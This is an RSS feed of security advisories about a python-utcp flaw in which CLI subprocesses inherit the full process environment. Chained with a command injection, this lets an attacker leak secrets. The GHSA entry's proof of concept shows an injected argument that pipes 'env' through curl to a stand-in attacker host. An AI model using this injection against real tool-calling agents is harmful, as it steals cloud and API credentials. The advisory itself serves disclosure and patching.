<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Fri, 02 Oct 2026 21:35:33 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-45370 — python-utcp: Full Process Environment Exposed to CLI Subprocess - Secrets Leakage via Command Injection</title>
      <link>https://cve.radiocsirt.org/vuln/cve-2026-45370</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; universal-tool-calling-protocol python-utcp&lt;/p&gt;
&lt;p&gt;python-utcp is the python implementation of UTCP. Prior to 1.1.3, _prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with CVE-2026-45369, an attacker can exfiltrate all process-level secrets in a single tool call. This vulnerability is fixed in 1.1.3.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; universal-tool-calling-protocol python-utcp&lt;/p&gt;
&lt;p&gt;python-utcp is the python implementation of UTCP. Prior to 1.1.3, _prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with CVE-2026-45369, an attacker can exfiltrate all process-level secrets in a single tool call. This vulnerability is fixed in 1.1.3.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cve-2026-45370</guid>
    </item>
    <item>
      <title>GHSA-5v57-8rxj-3p2r — python-utcp: Full Process Environment Exposed to CLI Subprocess - Secrets Leakage via Command Injection</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-5v57-8rxj-3p2r</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: utcp-cli&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;`_prepare_environment()` in `cli_communication_protocol.py` passes a full copy of `os.environ` to every CLI subprocess. When combined with the Command Injection vulnerability (CWE-78) in `_substitute_utcp_args()` tracked as GHSA-33p6-5jxp-p3x4, an attacker can exfiltrate all process-level secrets in a single tool call.&lt;/p&gt;
&lt;p&gt;## Vulnerable Code&lt;/p&gt;
&lt;p&gt;```python
# cli_communication_protocol.py
def _prepare_environment(self, provider: CliCallTemplate) -&amp;gt; Dict[str, str]:
    env = os.environ.copy()        # All secrets inherited
    if provider.env_vars:
        env.update(provider.env_vars)
    return env
```&lt;/p&gt;
&lt;p&gt;## Impact&lt;/p&gt;
&lt;p&gt;Any environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes:&lt;/p&gt;
&lt;p&gt;- Cloud provider credentials (AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET)
- Database connection strings (DATABASE_URL)
- LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY)
- Internal service tokens&lt;/p&gt;
&lt;p&gt;## Proof of Concept&lt;/p&gt;
&lt;p&gt;```python
# Tool defined as:
{&amp;#34;command&amp;#34;: &amp;#34;grep UTCP_ARG_pattern_UTCP_END logfile.txt&amp;#34;}&lt;/p&gt;
&lt;p&gt;# Attacker supplies:
tool_args = {&amp;#34;pattern&amp;#34;: &amp;#34;x; env | curl -s -d @- https://attacker.com&amp;#34;}&lt;/p&gt;
&lt;p&gt;# Executed bash script:
# CMD_0_OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2&amp;gt;&amp;amp;1)
# -&amp;gt; Full env dump sent to attacker including all secrets
```&lt;/p&gt;
&lt;p&gt;## Patched&lt;/p&gt;
&lt;p&gt;Fixed in `utcp-cli` 1.1.2. `_prepare_environment` no longer copies the full host environment. Inheritance is controlled by a new `CliCallTemplate.inherit_env_vars` f…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: utcp-cli&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;`_prepare_environment()` in `cli_communication_protocol.py` passes a full copy of `os.environ` to every CLI subprocess. When combined with the Command Injection vulnerability (CWE-78) in `_substitute_utcp_args()` tracked as GHSA-33p6-5jxp-p3x4, an attacker can exfiltrate all process-level secrets in a single tool call.&lt;/p&gt;
&lt;p&gt;## Vulnerable Code&lt;/p&gt;
&lt;p&gt;```python
# cli_communication_protocol.py
def _prepare_environment(self, provider: CliCallTemplate) -&amp;gt; Dict[str, str]:
    env = os.environ.copy()        # All secrets inherited
    if provider.env_vars:
        env.update(provider.env_vars)
    return env
```&lt;/p&gt;
&lt;p&gt;## Impact&lt;/p&gt;
&lt;p&gt;Any environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes:&lt;/p&gt;
&lt;p&gt;- Cloud provider credentials (AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET)
- Database connection strings (DATABASE_URL)
- LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY)
- Internal service tokens&lt;/p&gt;
&lt;p&gt;## Proof of Concept&lt;/p&gt;
&lt;p&gt;```python
# Tool defined as:
{&amp;#34;command&amp;#34;: &amp;#34;grep UTCP_ARG_pattern_UTCP_END logfile.txt&amp;#34;}&lt;/p&gt;
&lt;p&gt;# Attacker supplies:
tool_args = {&amp;#34;pattern&amp;#34;: &amp;#34;x; env | curl -s -d @- https://attacker.com&amp;#34;}&lt;/p&gt;
&lt;p&gt;# Executed bash script:
# CMD_0_OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2&amp;gt;&amp;amp;1)
# -&amp;gt; Full env dump sent to attacker including all secrets
```&lt;/p&gt;
&lt;p&gt;## Patched&lt;/p&gt;
&lt;p&gt;Fixed in `utcp-cli` 1.1.2. `_prepare_environment` no longer copies the full host environment. Inheritance is controlled by a new `CliCallTemplate.inherit_env_vars` f…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-5v57-8rxj-3p2r</guid>
    </item>
  </channel>
</rss>
